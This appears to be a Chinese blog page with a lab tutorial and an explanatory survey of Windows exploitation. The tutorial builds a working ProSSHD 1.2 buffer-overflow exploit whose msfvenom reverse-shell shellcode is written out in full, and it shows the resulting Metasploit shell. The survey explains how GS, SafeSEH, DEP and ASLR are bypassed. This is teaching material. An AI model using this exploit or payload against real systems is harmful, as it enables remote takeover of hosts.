精华内容
下载资源
问答
  • windows漏洞利用

    千次阅读 2018-09-13 16:22:28
    控制EIP、确定偏移、确定攻击向量、构建漏洞攻击、测试漏洞攻击、调试漏洞攻击程序。 prosshd1.2漏洞测试: 在windows中创建一个测试用户,添加用户启动服务看是否能连接主机: ssh -p 22 test@192.168.1....

    编译运行 源代码:

    #include <stdio.h>
    
    greeting(char *temp1, char *temp2){
    	
    	char name[400];
    	strcpy(name, temp2);
    	printf("Hello %s %s\n", temp1, temp2);
    }
    
    main(int argc, char *argv[]){
    	greeting(argv[1], argv[2]);
    	printf("Bye %s %s\n", argv[1], argv[2]);
    }

    使用Immunity Debugger 调试程序:

    F2设置断点,F9执行,F7单步执行,F8单步执行并跨过函数调用

    X86 中有八个通用寄存器:

    EAX累加器寄存器,EBX基础寄存器,ECX计数寄存器,EDX数据寄存器,ESI源寄存器,EDI目的寄存器,EBP基本指针,ESP堆栈指针,EIP指令指针。

    alt+M 查看内存映射,包括堆、栈、DLL和可执行文件:

    alt+e 可执行模块列表:

    修改代码方便调试,上面代码使用python 命令行传参参数调试简单,但是不是很方便。

    #include <stdio.h>
    
    greeting(char *temp1, char *temp2){
    	
    	char name[10];
    	strcpy(name, temp2);
    	printf("Hello %s %s\n", temp1, temp2);
    }
    
    main(int argc, char *argv[]){
    	greeting(argv[1], argv[2]);
    	printf("Bye %s %s\n", argv[1], argv[2]);
    }

    Immunity debugger调试:

    笨方试数溢出,参数不能多也不能太多也不能少

    传入参数 程序崩溃

    alt + e 双击调试程序

    F9执行 -> F8跨过函数调用

    继续执行程序崩溃。程序没有异常的处理,交给系统处理。

    ————————————————————————————————————————————————————————

    编写漏洞攻击程序:

    控制EIP、确定偏移、确定攻击向量、构建漏洞攻击、测试漏洞攻击、调试漏洞攻击程序。

    prosshd1.2漏洞测试:

    在windows中创建一个测试用户,添加用户启动服务看是否能连接主机:

    ssh -p 22 test@192.168.1.102
    The authenticity of host '192.168.1.102 (192.168.1.102)' can't be established.
    RSA key fingerprint is SHA256:JPOlsgfYZhAizWUj7xFiiMldKlJWw0utnRt27m5ty8g.
    Are you sure you want to continue connecting (yes/no)? ye
    Please type 'yes' or 'no': yes
    Warning: Permanently added '192.168.1.102' (RSA) to the list of known hosts.
    test@192.168.1.102's password: 
    Microsoft Windows [�汾 6.1.7601]
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
    C:\Users\Public\Program Files\Lab-NC\ProSSHD>exit
    Connection to 192.168.1.102 closed.
    

    python溢出代码:

    #!/usr/bin/python
    
    import paramiko
    from scpclient import *
    from contextlib import closing
    from time import sleep
    import struct
    
    hostname = "192.168.1.102"
    username = "test"
    password = "123456"
    req = "A" * 502  #有可能是501或者更大 需要尝试
    
    ssh_client = paramiko.SSHClient()
    ssh_client.load_system_host_keys()
    ssh_client.connect(hostname, username=username,key_filename=None, password=password)
    
    sleep(15)
    
    with closing(Read(ssh_client.get_transport(), req)) as scp:
    	scp.receive("foo.txt")

    启动python程序,在windows中快速打开Immunity 添加wsshd.exe进程

    F9执行,最后程序崩溃看到EIP控制权

    确定偏移 mona 插件 : https://github.com/corelan/mona 

    底部输入命令 打开日志窗口

    回到CPU主页面 底部输入命令 生成502字节模板,

    修改python程序:

    req = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6A"

    运行程序,在调试器中调试结果:

    使用mona计算EIP偏移:

    windows系统栈位于低地址中,为了避开0x00等空字节,需要在调试程序或DLL中搜索该操作码。

    该模块 并不受漏洞攻击反制操作保护,也不参与ASLR,在其中找到操作码。

    会在D:\tools\monalogs\wsshd目录下看到jmp.txt 打开查看

    0x7c345c30 : push esp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Users\Public\Program Files\Lab-NC\ProSSHD\MSVCR71.dll)
    

    测试shellcode:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00" -f python -v shellcode
    import paramiko
    from scpclient import *
    from contextlib import closing
    from time import sleep
    import struct
    
    hostname = "192.168.1.102"
    username = "test"
    password = "123456"
    jmp = struct.pack('<L', 0x7c345c30)
    pad = "\x90" * 12
    
    shellcode =  ""
    shellcode += "\xdd\xc0\xd9\x74\x24\xf4\xbf\xad\xab\x85\x73\x5b"
    shellcode += "\x33\xc9\xb1\x52\x31\x7b\x17\x03\x7b\x17\x83\x46"
    shellcode += "\x57\x67\x86\x64\x40\xea\x69\x94\x91\x8b\xe0\x71"
    shellcode += "\xa0\x8b\x97\xf2\x93\x3b\xd3\x56\x18\xb7\xb1\x42"
    shellcode += "\xab\xb5\x1d\x65\x1c\x73\x78\x48\x9d\x28\xb8\xcb"
    shellcode += "\x1d\x33\xed\x2b\x1f\xfc\xe0\x2a\x58\xe1\x09\x7e"
    shellcode += "\x31\x6d\xbf\x6e\x36\x3b\x7c\x05\x04\xad\x04\xfa"
    shellcode += "\xdd\xcc\x25\xad\x56\x97\xe5\x4c\xba\xa3\xaf\x56"
    shellcode += "\xdf\x8e\x66\xed\x2b\x64\x79\x27\x62\x85\xd6\x06"
    shellcode += "\x4a\x74\x26\x4f\x6d\x67\x5d\xb9\x8d\x1a\x66\x7e"
    shellcode += "\xef\xc0\xe3\x64\x57\x82\x54\x40\x69\x47\x02\x03"
    shellcode += "\x65\x2c\x40\x4b\x6a\xb3\x85\xe0\x96\x38\x28\x26"
    shellcode += "\x1f\x7a\x0f\xe2\x7b\xd8\x2e\xb3\x21\x8f\x4f\xa3"
    shellcode += "\x89\x70\xea\xa8\x24\x64\x87\xf3\x20\x49\xaa\x0b"
    shellcode += "\xb1\xc5\xbd\x78\x83\x4a\x16\x16\xaf\x03\xb0\xe1"
    shellcode += "\xd0\x39\x04\x7d\x2f\xc2\x75\x54\xf4\x96\x25\xce"
    shellcode += "\xdd\x96\xad\x0e\xe1\x42\x61\x5e\x4d\x3d\xc2\x0e"
    shellcode += "\x2d\xed\xaa\x44\xa2\xd2\xcb\x67\x68\x7b\x61\x92"
    shellcode += "\xfb\x44\xde\x9d\x92\x2c\x1d\x9d\x75\xf1\xa8\x7b"
    shellcode += "\x1f\x19\xfd\xd4\x88\x80\xa4\xae\x29\x4c\x73\xcb"
    shellcode += "\x6a\xc6\x70\x2c\x24\x2f\xfc\x3e\xd1\xdf\x4b\x1c"
    shellcode += "\x74\xdf\x61\x08\x1a\x72\xee\xc8\x55\x6f\xb9\x9f"
    shellcode += "\x32\x41\xb0\x75\xaf\xf8\x6a\x6b\x32\x9c\x55\x2f"
    shellcode += "\xe9\x5d\x5b\xae\x7c\xd9\x7f\xa0\xb8\xe2\x3b\x94"
    shellcode += "\x14\xb5\x95\x42\xd3\x6f\x54\x3c\x8d\xdc\x3e\xa8"
    shellcode += "\x48\x2f\x81\xae\x54\x7a\x77\x4e\xe4\xd3\xce\x71"
    shellcode += "\xc9\xb3\xc6\x0a\x37\x24\x28\xc1\xf3\x54\x63\x4b"
    shellcode += "\x55\xfd\x2a\x1e\xe7\x60\xcd\xf5\x24\x9d\x4e\xff"
    shellcode += "\xd4\x5a\x4e\x8a\xd1\x27\xc8\x67\xa8\x38\xbd\x87"
    shellcode += "\x1f\x38\x94"
    
    req = "A" * 489 + jmp + pad + shellcode
    
    ssh_client = paramiko.SSHClient()
    ssh_client.load_system_host_keys()
    ssh_client.connect(hostname, username=username,key_filename=None, password=password)
    
    sleep(15)
    
    with closing(Read(ssh_client.get_transport(), req)) as scp:
    	scp.receive("foo.txt")

    成功:

    msf exploit(multi/handler) > set payload windows/shell_reverse_tcp 
    payload => windows/shell_reverse_tcp
    msf exploit(multi/handler) > set LHOST 192.168.1.105
    LHOST => 192.168.1.105
    msf exploit(multi/handler) > exploit 
    
    [*] Started reverse TCP handler on 192.168.1.105:4444 
    [*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.102:49282) at 2018-09-13 16:17:27 +0800
    
    C:\Users\Public\Program Files\Lab-NC\ProSSHD>
    

    ________________________________________________________

    展开全文
  • Sherlock和Watson漏洞利用程序再次检查Windows漏洞利用程序建议程序(wes)NG此项目是一个简单的python脚本,用于过滤来自wesNG的输出,以仅显示sherlock和watson寻找的特权升级CVE。 基本原理 之所以制作此脚本,...
  • 现代化windows漏洞利用程序开发,对漏洞进行调试,运用PYTHON等脚本编写POC
  • 现代化windows漏洞利用程序开发,包括WinDbg使用、SEH、堆、Windows基础、Shellcode等内容,为入门教材。
  • Windows漏洞利用建议程序-下一代(WES-NG) WES-NG是基于Windows的systeminfo实用程序输出的工具,该工具提供了OS易受攻击的漏洞列表,包括针对这些漏洞的任何利用。 支持Windows XP和Windows 10之间的每个Windows...
  • Windows漏洞利用技术总结 1. 前言  本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions、Answer、Discussions)的一次实践。本文通过阅读几位大牛的文章、演讲报告、exploit编写教程等技术文档不断...

    Windows漏洞利用技术总结

    1. 前言

      本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions、Answer、Discussions)的一次实践。本文通过阅读几位大牛的文章、演讲报告、exploit编写教程等技术文档不断总结修改而成,列举了当前Windows下常见攻击缓解技术的基本原理及绕过方法,具体技术细节则不详细描述,大家可以通过参考文献或其他文章进一步学习。由于本人能力有限,文中可能还存在不少错误,我会不断回顾并完善,也欢迎读者指出错误,共同学习进步。

     

    2. Windows攻击缓解技术简介

      自从Windows 成为主流操作系统以后,针对Windows平台的漏洞利用技术不断发展,而微软也不断运用新的攻击缓解技术来封堵漏洞利用技术。根据被引入Windows的时间顺序,先后引入的攻击缓解技术有:GS(Control Stack Checking Calls)、SafeSEH(Safe Structured Exception Handler)、Heap Protection、DEP(Data Execution Prevention)、ASLR(Address Space Layout Randomization)等。

      下面用一个例子对这几种保护机制及其绕过方法做进一步说明

    int main(int argc, char **argv)
    {
        Char buf[64];
        __try
        {
            memcpy(buf, argv[1], atol(argv[2]));
        }
        __except(EXCEPTION_CONTINUE_SEARCH)
        {
        }
        return 0;
    }

      这个例子的漏洞显而易见,下面让我们在开启不同保护机制的情况下解释如何利用这个例子的堆栈溢出漏洞。

     

    •  无攻击缓解措施

      如果在编译链接时不开启任何保护机制,我们只需要溢出buf,改写返回地址,使其指向可预测的shellcode地址。这里我使用jmp esp指令(内存中任何一条jmp esp指令,在当前进程自己的dll中寻找最佳)的地址覆盖main函数的返回地址,并用shellcode进一步覆盖随后的堆栈空间。

      当main函数返回时,会从栈中弹出返回地址(此时已经是jmp esp的地址)并跳转至其处继续执行。当jmp esp指令被执行后,eip指向了当前堆栈,此时程序执行流程被转到了已经溢出的堆栈中,shellcode便得到了执行。

     

    •  GS

      GS(Buffer Security Check)是一种针对堆栈溢出的攻击缓解技术,它主要通过Stack Cookies和Variable Reordering两种技术对堆栈进行保护。

      Stack Cookies是由编译器提供的一种运行时堆栈溢出检测技术,开启/GS选项的编译器通过在函数头部与尾部增加代码块的方式来检测堆栈溢出。当函数执行时,这段代码会在堆栈本地变量与函数返回地址之间保存一个随机值(即stack cookies)。函数返回时会检查堆栈中存放的随机值是否被修改,如果被修改则意味着发生了堆栈溢出,从而终止程序运行,阻止恶意代码执行。

      Variable reordering是一种在编译阶段通过重新排列变量顺序来最大限度降低堆栈溢出破坏的技术。它重新排列本地变量,将string buffer类型的变量放置在比其他类型变量更高的堆栈地址空间上,防止攻击者通过溢出string buffer改写其他本地变量,在stack cookies被检测前获取控制权。同时,Variable reordering还将函数参数中的指针、string buffer复制到本地变量上方额外分配的堆栈地址空间上,函数内部不再使用原先位于返回地址后方的参数。

      下面的示意图是被GS保护的函数堆栈布局

     

     Figure 2‑1

     

      针对开启GS保护的程序,可以通过溢出buf,改写堆栈上的SHE record,因为GS并没有对堆栈上的SHE record进行保护。同时攻击者在stack cookie被检查前触发一个异常,即可通过改写的SHE record获取控制权。

      这里,我们确保修改后的SHE record --> Handler为指向pop pop ret指令串的地址(注意,需要确保此指令串位于没有SafeSEH保护的模块中,否则异常分发函数将对其进行验证),而将SHE record --> nextSEH改写成jumpcode(short jmp X)。

      当函数发生异常(可以通过buf溢出大量的数据,使得strcpy访问到堆栈的底端)从而索引SEH异常处理函数时,将执行pop pop ret,这串指令从堆栈中弹出nextSEH的地址(此时nextSEH处为跳转指令jumpcode)给EIP,执行jumpcode后将跳转到shellcode,使其获取执行权限。

     

    Figure 2‑2

     

    •  GS & SafeSEH

      SafeSEH(Safe Structured Exception Handler)是一种针对SHE异常处理的攻击缓解技术,用于阻止攻击者通过改写堆栈上的Exception Handler Record来获取控制权。它包括针对SEH异常处理函数的验证(SHE Handler validation)和针对SEH链完整性的验证(SEH chain validation)两部分。

      SHE Handler validation:使用(/SAFESEH)链接选项生成的可执行文件,会在头部包含一个记录所有有效异常处理函数的SafeSEH table,当异常发生时ntdll.dll中的异常分发处理函数会验证堆栈上的Exception Handler Record指向SafeSEH table中一个有效的异常处理函数。如果异常分发处理函数检测出Exception Handler Record被攻击者改写并指向了其它地方,则会终止程序的运行。

      SEH chain validation是针对SEH链完整性的验证保护技术,通常这种技术被称为SEHOP(Structured Exception Handler Overwrite Protection),它是在Windows Server 2008被引入的一项保护机制。如果系统开启了SEHOP保护机制,会将ntdll.dll中的FinalExceptionHandler作为最后一个异常处理函数设置到每个SHE链的尾部。当异常发生时,异常分发处理函数会遍历整个异常处理链,确保最后一个Exception Handler Record的nextSEH指针为0xFFFFFFFF,Handler始终指向FinalExceptionHandler,否则将终止程序的运行。

      针对开启SafeSEH保护的程序,可以在改写Exception Handler Record时,进一步伪造整个SEH链,从而绕过检测。具体细节不在这里阐述,请参考其他技术文档。

     

    •   GS & DEP

      DEP(Data Execution Prevention)试图从根本上阻止shellcode的执行。在开启DEP的系统中,代码只能在被标记为execution的页面上执行,因此可以阻止攻击者执行位于堆栈、堆或者数据段中的shellcode。当EIP指向non-execution属性的页面时,系统将直接终止程序执行。可以通过链接选项(/NXCOMPAT)使生成的可执行文件开启DEP保护。

      目前,常见的绕过DEP的技术主要分两类,第一类是借用第三方应用程序及组件,利用这些程序可以申请同时支持readable、writeable、executable属性内存页的特点,结合Heap Spray技术实现shellcode的布局与执行。JIT Spray就属于这类技术;第二类是采用代码重用的方法实现对DEP的绕过,包括利用系统API改写内存页属性、调用执行系统命令或加载可执行文件(EXE、DLL等)引入外部代码、改写安全配置(IE浏览器的SafeMode标志位等)。其中利用系统API改写内存页属性是最为常见的利用方法。

      针对这个例子,我们利用漏洞改写Exception Handler Record,此时修改SHE record --> Handler指向pop/pop/pop esp ret指令串的地址。并用可以改写页面属性的系统API地址(VirtualProtect、ZwProtectVirtualMemory等)来改写nextSEH。当发生异常时,pop/pop/pop esp ret将被执行,其中pop esp将改变堆栈指针,使esp其指向nextSEH。因此ret指令执行后,将跳转到用于改写页面属性的系统API处。通过系统API将页面改写为execution属性,最后跳转到shellcode处继续执行。

     

    •  GS & DEP & SafeSEH

      针对同时开启GS、DEP、SafeSEH的应用程序,实现漏洞利用的原理与上面类似,不同的是还需要伪造SEH链,这里不再详细叙述。

     

    • GS & DEP & SafeSEH & ASLR

      ASLR(Address Space Layout Randomization)是从Vista和Windows Server 2008起引入的一项重要的攻击缓解技术。系统在加载支持ASLR技术的可执行程序、动态链接库等映像文件时,会对其加载位置进行随机化处理,使得重启后每次加载进内存的基址不同。因此利用程序编写者就无法找到稳定可靠的jmp esp、pop pop ret、xchg eax,esp等指令地址,更无法定位系统API的位置,特别是在DEP、ASLR同时开启的情况下,会大大增加漏洞利用的难度。

      ASLR会对加载的PE文件、堆、堆栈、PEB、TEB等的位置进行随机化处理。可以通过链接选项(/DYNAMICBASE)使生成的可执行文件开启ASLR保护。

      面对ASLR和DEP,许多攻击者需要解决两个关键问题,首先是如何通过漏洞获取到模块(目标进程、系统或其他DLL)基址,由此才有可能利用系统API进行代码重用;其次是定位攻击者布局在堆栈、堆上的shellcode地址(通常由stack pivot、ROP chain、payload等组成)。

      目前,常见的获取模块基址的方法有两种,第一种是查看系统或应用程序运行时是否加载了non-ASLR的模块,是否有其他外部的non-ASLR模块可以被引入当前进程空间,比如Java 6运行环境JRE1.6的msvcr71.dll、Office 2010/2007的hxds.dll(当在URL中使用ms-help://时引入)等。这些non-ASLR模块每次加载到进程内存空间时的基址都是固定不变的,因此可以在他们导入表中索引系统DLL的基址,在其代码空间中搜索可执行指令小配件(gadget)等;第二种是通过内存信息泄露漏洞获取有关内存布局、目标进程相关的状态信息等。例如可以通过静态变量的指针、虚函数表指针等暴露出目标进程、系统或其他DLL的基址,从而进一步获取相关API地址及有用的gadget等。(后文会对bypass ASLR的相关技术进一步讨论)

      为了定位攻击者布局在堆栈、堆上的shellcode地址,最常见的方法是Heap spray技术,通过连续大量的内存申请,将shellcode布局在指定的内存地址上。这种方法存在稳定性不高、消耗时间和资源多、容易被检测的缺点;因此,最好的方法还是使用漏洞读取出shellcode地址,其限制条件为漏洞类型,需要一个具有任意地址读写的漏洞来配合利用。

      针对这个例子的漏洞场景,攻击者的可控程度较低,无法在GS & DEP & SafeSEH & ASLR攻击缓解技术都开启的情况下实现利用。但是,当类似这样的一个漏洞场景发生在浏览器、Adobe Flash、Adobe Reader、Office等应用软件中时,结合信息泄露类漏洞,攻击者则会实现完美利用。因为攻击者可以使用JavaScript、ActionScript、VBScript等脚本语言进行内存操作(内存申请与释放、创建特殊对象等)从而使得利用变得可行。

     

      由上面的简介我们知道,即便Windows已经逐步引入了新的攻击缓解技术来阻止恶意代码运行,但这些攻击缓解技术只是提高了编写漏洞利用程序的难度,并不能完全阻止恶意代码的运行。通过研究,仍然可以通过已知或未知的方法对其进行利用。

      当前,IE浏览器、Adobe Flash、Adobe Reader、Microsoft Office等是人们日常办公、娱乐生活中经常使用的应用软件。因此,恶意代码编写者常常针对它们,利用挖掘到的漏洞进行攻击,使得恶意代码传播面广、影响范围大。业内安全厂商、研究人员也都集中精力针对这些软件的漏洞挖掘、利用技术进行分析与研究,下面主要针对IE浏览器,具体讲解ASLR & DEP绕过技术的原理。

     

    3. 绕过ASLR

      FireEye在其博客上曾发表一篇文章——《ASLR Bypass Apocalypse in Recent Zero-Day Exploits》,通过举例说明了最近0day漏洞利用中所使用的三类绕过ASLR的技术:Using non-ASLR modules、Modifying the BSTR length/null terminator、Modifying the Array object。从本质上来讲第二类和第三类技术一样,都是通过一系列的内存破坏(Memory Corruption),最终泄露出关键模块的内存基址,并获取控制权。下面参考FireEye的文章分别对三类技术的原理进行介绍。

     

    3.1. 利用non-ASLR模块

      这是一种最简单也最常见的对抗ASLR保护的技术,因为现在仍然有许多应用程序及其模块在编译时没有开启ASLR保护(/DYNAMICBASE链接选项)。系统每次都会在固定的内存基址上加载它们,恶意代码编写者便可以从这些non-ASLR模块中挑选指令(gadget)、索引系统函数,实现关闭DEP、获取控制权等。

      常见的未开启ASLR保护的模块有Java 6运行环境JRE1.6的msvcr71.dll, office 2007/2010的HXDS.DLL。HXDS.DLL会在浏览器加载一个带有“ms-help://”的URL时被加载进内存,但是微软已经通过补丁修补了这个问题,现在的HSDS.DLL已经开启了ASLR保护。而Java 7运行环境JRE 1.7也已经全部开启了ASLR保护。

      随着越来越多的应用程序及其模块使用ASLR保护,今后使用这种利用方法通用性将越来越低。

     

    3.2. 修改BSTR的长度或终止符

    3.2.1. BSTR

      BSTR是一种字符串数据类型,一种Pascal-Style字符串(明确标示字符串长度)和C-Style字符串(以\0结尾)的混合物,主要应用于COM、交互功能等。它是一种复合的数据类型,由一个长度前缀,数据字符串和一个终止符组成,如下图所示:

     

    Figure 3‑1

      其中数据字符串string为UNICODE编码,但是也可以存储其他非\x00\x00的字符串。

    3.2.2. 利用方法

      这种利用方法首次出现是在Pwn2own 2010上,它只适用于那些可以重写内存的特殊类型的漏洞,例如缓冲区溢出、任意地址写、增加或减少内存指针处的内容。

      1. 修改BSTR的长度

      当某个内存破坏漏洞可以满足修改任意4字节内存的最终效果时,便可以利用它来修改指定位置处的BSTR的长度前缀,从而使得此BSTR可以访问它原始界限以外的内存。由此最终可以获取适合构造ROP链的链接库的精确位置,从而实现了绕过ASLR。当通过此方法绕过ASLR后,便可通过同样的内存破坏漏洞改变执行流程获取控制权。

      例如下面的一个情形,首先在内存中连续创建一定数量且大小相同的BSTR,它们在内存中的布局如Figure 3‑2所示。

     

    Figure 3‑2

     

       释放其中的一个BSTR,然后立刻申请相同大小的一个object,相同大小是指object最终在内存中所占用的大小与BSTR在内存中占用的大小一致。由于前端堆Low Fragmentation Heap的作用,申请的object很可能会被分配到刚刚释放的BSTR内存空间上。因此此时的内存布局如图所示。

     

    Figure 3‑3

     

      此时修改Object前面BSTR的长度,就可以通过越界读,读取到object对象的虚函数表指针,最终计算出相关模块的内存基址。

      2. 修改BSTR的终止符

      很多时候内存破坏类漏洞可控程度并不高,不足以修改4字节(不能用来修改BSTR的长度),只能对内存指针处的1、2字节进行修改。在这种情况下我们可以通过修改BSTR的终止符,从而将string与后面的object连接起来。随后访问修改后的BSTR,object也会作为BSTR的一部分被访问到,攻击者便可以计算出相关模块的基址。

     

    3.3. 修改Array对象长度

    3.3.1. 利用方法

      这种修改Array对象长度的利用方法与修改BSTR长度的利用方法类似,同样需要那些可以重写内存的内存破坏类型的漏洞。但是从攻击者的角度来看,可以通过这种利用方法实现绕过ASLR的漏洞更具用户友好性,因为一旦Array对象的长度被修改,攻击者就可以通过数组获取任意内存读写的能力,同时更容易控制程序的执行流程,实现代码执行。下面通过VUPEN在Pwn2Own2013上利用的CVE-2013-2551漏洞为例,描述此方法的利用原理。

      这个漏洞是由于负责VML解析的模块VGX.DLL,在处理<v:stroke>标签的dashstyle.array.length属性时,没有对传入的参数进行完备验证而导致的整数溢出漏洞。攻击者利用这个漏洞能够对任意地址进行读写操作——通过读取敏感内存信息、改写对象虚表,就能够完美绕过重重内存防护机制实现任意代码执行。

      首先说明一下,VML中使用JS语句对dashstyle属性赋值时,例如:stroke.dashstyle = "1 2 3 4",函数vgx!ParseDashStyle会被调用,将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配,每个数组成员占四字节内存,所以ORG数组的缓冲区大小为数组成员个数×4(byte)。在对dashstyle.array.length属性赋值时,数组成员的个数会改变,在其内部调用的vgx!COALineDashStyleArray::put_length函数中会根据新设置的值来重新为ORG数组成会根据新设置的值来重新为ORG数组成分配内存。然而在put_length中存在一个整数溢出漏洞,使得可以不通过新的内存分配而将dashstyle的Array对象长度设置为0xffff。此漏洞的利用原理如下。

      在堆上分配连续的 COARuntimeStyle对象,每个对象占用0xB0字节,并在中间通过设置dashstyle穿插进一个ORG数组。控制数组的大小,使其也为0xB0字节。此时内存布局如图所示。

     

    Figure 3‑4

     

      利用漏洞修改dashstyle的长度,使得可以通过ORG数组越界访问随后的数据。 ORG数组的长度被修改后,循环给每个 COARuntimeStyle的marginLeft属性赋值,在循环中同时利用已经溢出的ORG 数组去读取指定偏移处的值(即读取ORG 数组随后 COARuntimeStyle对象保存marginLeft属性的地址),如果其值大于0,说明此时索引到ORG 数组之后的那个 COARuntimeStyle对象。此时利用ORG 数组越界写 COARuntimeStyle对象中保存marginLeft属性的地址的值,修改其为0x7ffe0300。越界写完成后,通过 COARuntimeStyle对象的get_marginLeft来读取marginLeft属性。于是 COARuntimeStyle就会将0x7ffe0300处的值读取出来,而0x7ffe0300处正好保存着系统调用入口函数ntdll!KiFastSystemCall的地址,通过计算便可得到ntdll的内存基址,由此便绕过了ASLR。

      此处也可以通过ORG数组越界读随后COARuntimeStyle对象的前4字节(虚函数表指针),最终减去相应偏移即可得到当前vgx.dll的内存基址。

      (注:Win7+IE8/IE10下的CVE-2013-2551漏洞利用原理及代码请关注ISCC2014结束后我发表的博文。)

     

    4. 绕过DEP

      DEP技术在XP SP3被引入,但仅依靠GS & DEP & SafeSEH技术仍不足以阻止所有的恶意代码。第2节中已经简要介绍了常见的两类Bypass DEP技术。目前0day漏洞利用中常采用代码重用的方法实现对DEP的绕过,包括利用系统API改写内存页属性、调用执行系统命令或加载可执行文件(EXE、DLL等)从进程空间外引入代码、改写安全配置(例如IE浏览器的SafeMode标志位[5]等)。

      其中,利用系统API改写内存页属性和加载可执行文件(EXE、DLL等)从进程空间外引入代码是最为常见的利用方法,其核心是ROP技术。它将堆栈切换到攻击者伪造的堆栈上,利用精巧构造的堆栈实现DEP的绕过。下面将主要说明ROP的技术原理。(注:TK提出的LdrHotPatchRoutine技术等方法不需要使用ROP)

     

    4.1. ROP技术

      ROP的全称为Return Oriented Programming,它是目前最常用的绕过DEP的技术。它利用了攻击者可以控制程序执行时的数据这样一个事实,攻击者向进程内存空间中注入一个伪造的调用堆栈,然后执行一个stack pivot(堆栈反转)指令,使得堆栈指针转换到伪造的调用堆栈上,伪造的堆栈可以被认为是记录着因果链(ROP chain,由一个个ROP Gadget组成,下文具体解释)。

      在正常情况下,当一个函数返回时,正常的堆栈中保存着函数的返回地址,即父函数调用子函数时的下一条指令的地址。然而当堆栈指针转换到伪造的调用堆栈后,当函数返回时将从伪造堆栈中获取返回地址,此时的返回地址是指向进程空间中的一个ROP Gadget。

      ROP Gadget代表进程空间中任何有用的可执行指令串(位于可执行页面上),并且这些可执行指令串都以 ret指令结尾,从而使得指令串执行完毕后仍然从伪造的堆栈中获取返回地址(下一个ROP Gadget的地址)。 要保证目标程序每次运行时,伪造堆栈中ROP Gadgets的地址都是可预期且可靠的,攻击者必须先绕过ASLR,获取相关模块的内存基址,然后根据指令偏移(硬编码,每个模块中的指令偏移固定不变)得到确定的ROP Gadget地址,或者通过动态搜索的方法在内存空间中搜索ROP Gadget构建ROP chain。

      在伪造堆栈上构造一系列ROP Gadget的目的就是针对要利用的漏洞布置“有用”的环境(例如调整堆栈指针、设置寄存器值等),因为最后一个ROP Gadget将指向VirtualAlloc、VirtualProtect、WriteProcessMemory、ShellExecueEx、LoadLibrary等函数的地址,它们将用于修改指定内存页为可执行或者从进程空间外引入代码并执行。最终使得堆栈、堆上的数据变成可执行或直接加载运行可执行文件,从而绕过DEP的保护。

      ROP利用方法之所以能够工作是因为攻击者欺骗系统使用攻击者可控的数据,而这些数据也并不需要得到执行权限,攻击者只需要控制EIP接下来执行的地址从而执行需要的指令和函数。当伪造的堆栈被注入进程空间后(通过Heap spray[4]在指定地址处布局shellcode、通过漏洞获取shellcode的地址),ROP方法的执行流程[6]简单总结如下:

      1)  执行“stack pivot”指令(例如xchg eax, esp; ret等),将堆栈指针转换到伪造堆栈上。

      2)  从伪造堆栈的顶部开始执行ROP Gadget

        a) 执行一些“有用”的指令串(push/pop/add/sub…)

        b) 执行ret指令(如果伪造堆栈上的返回地址处仍然是一个ROP Gadget,则继续跳转至执行;如果返回地址是一个函数地址如VirtualProtect等,则利用伪造堆栈上布置            好的参数执行函数。执行完毕后即可跳转至伪造堆栈上设置好的返回地址,运行payload)

     

    5. 通用绕过方法

      已经有研究者公布出了更具通用性的绕过ASLR、DEP的方法,例如Dion Blazakis提出的JIT spray(Just In Time Compilation),于旸(tombkeeper)发现的LdrHotPatchRoutine等。但是研究者也发现,在自然环境下,从来没有0day攻击使用这些方法对抗ASLR,原因是这些方法公开以后,就很快会被修补掉。下面简单介绍一下其实现原理,技术细节请参考其他技术文档。

    5.1. JIT spray技术

      JIT Spray 是一种利用“及时编译”的特性来绕过ASLR、DEP的利用方法。一个“及时编译器”根据定义生成代码作为它的数据。因此它的目的就是生成可执行数据。JIT编译器是一种不能运行在“no-executable-data”环境下的程序,因此,JIT编译器会免除DEP。而JIT Spray攻击就是用JIT编译器“生成的代码(利用代码)”来进行堆喷射的一种攻击方式。

    5.2. LdrHotPatchRoutine 技术

      从Windows NT 4到Windows 8,SharedUserData的位置一直固定在地址0x7ffe0000,并且在x86下0x7ffe0300处也一直保存这KiFastSystemCall的地址。

    而x64下7ffe0350则保存着LdrHotPatchRoutine的地址,在它内部会索引LdrLoadDll来加载外部的DLL,从而可以实现任意代码的执行。

    5.3. DVE技术

      DVE技术最早由yuange提出,其基本思想是利用脚本语言的先天优势,即脚本语言是解释执行的,代码、shellcode都是数据。通过漏洞修改关键数据结构,最终实现作为脚本的shellcode的执行。关于DVE的技术细节请参见参考文献[7]。

    5.4. Undocuments

      相信还有其他未公开的通用方法,能够像LdrHotPatchRoutine技术、JIT spray技术、DEV技术一样不需要通过精心的内存布局,从而实现绕过ASLR、DEP。这些未公开的技术具有更高的价值。

     

    6. 参考文献

